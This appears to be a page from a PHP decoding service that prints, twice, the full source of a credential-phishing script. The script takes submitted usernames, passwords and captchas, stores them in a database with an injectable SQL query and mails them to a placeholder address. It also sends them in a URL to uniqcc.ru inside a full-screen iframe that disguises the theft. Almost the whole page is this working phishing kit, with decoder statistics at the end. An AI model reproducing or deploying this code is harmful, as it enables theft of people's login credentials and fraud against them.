Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(1); session_start(); require('db.php'); $_SESSION['user'] = ..

Decoded Output download

<?php 
 
error_reporting(1); 
session_start(); 
 
require('db.php'); 
$_SESSION['user'] = $_POST['username']; 
$_SESSION['pass'] = $_POST['password']; 
$_SESSION['Captcha'] = $_POST['captcha']; 
 
$username = $_POST['username']; 
$password = $_POST['password']; 
$captcha = $_POST['captcha']; 
$unicc = "https://uniqcc.ru/login/?LoginForm[username]=$username&LoginForm[password]=$password&LoginForm[captcha]=$captcha"; 
//echo $unicc; 
 
$query = "INSERT INTO login (username, password) VALUES ('$username', '$password')"; 
   $result = mysqli_query($connection, $query); 
    
	$message .= "-------------- unicc login  -------------
"; 
	$message .= "user name : ".$_POST['username']."
"; 
	$message .= "Password : ".$_POST['password']."
"; 
	$subject = "Login | WEB|"; 
	$send = "[email protected]"; //Put You Email Here 
	$headers = 'From: unicc' . "
"; 
	mail($send,$subject,$message,$headers); 
	 
	//	header("Location: $unicc"); 
?> 
<html> 
<head> 
<meta charset=utf-8 /> 
<meta name="unicc" content="noindex"> 
<title>Shop-News</title> 
 
      </script> 
</head> 
<body>   
<iframe src="<?php echo $unicc ?>" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"> 
    Your browser doesn't support iframes 
</iframe> 
 
 
 
</body> 
</html> 

Did this file decode correctly?

Original Code

<?php

error_reporting(1);
session_start();

require('db.php');
$_SESSION['user'] = $_POST['username'];
$_SESSION['pass'] = $_POST['password'];
$_SESSION['Captcha'] = $_POST['captcha'];

$username = $_POST['username'];
$password = $_POST['password'];
$captcha = $_POST['captcha'];
$unicc = "https://uniqcc.ru/login/?LoginForm[username]=$username&LoginForm[password]=$password&LoginForm[captcha]=$captcha";
//echo $unicc;

$query = "INSERT INTO login (username, password) VALUES ('$username', '$password')";
   $result = mysqli_query($connection, $query);
   
	$message .= "-------------- unicc login  -------------\n";
	$message .= "user name : ".$_POST['username']."\n";
	$message .= "Password : ".$_POST['password']."\n";
	$subject = "Login | WEB|";
	$send = "[email protected]"; //Put You Email Here
	$headers = 'From: unicc' . "\r\n";
	mail($send,$subject,$message,$headers);
	
	//	header("Location: $unicc");
?>
<html>
<head>
<meta charset=utf-8 />
<meta name="unicc" content="noindex">
<title>Shop-News</title>

      </script>
</head>
<body>  
<iframe src="<?php echo $unicc ?>" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;">
    Your browser doesn't support iframes
</iframe>



</body>
</html>

Function Calls

session_start 1
error_reporting 1

Variables

None

Stats

MD5 38ea561ead3c806f17d0a8111ce1c83b
Eval Count 0
Decode Time 86 ms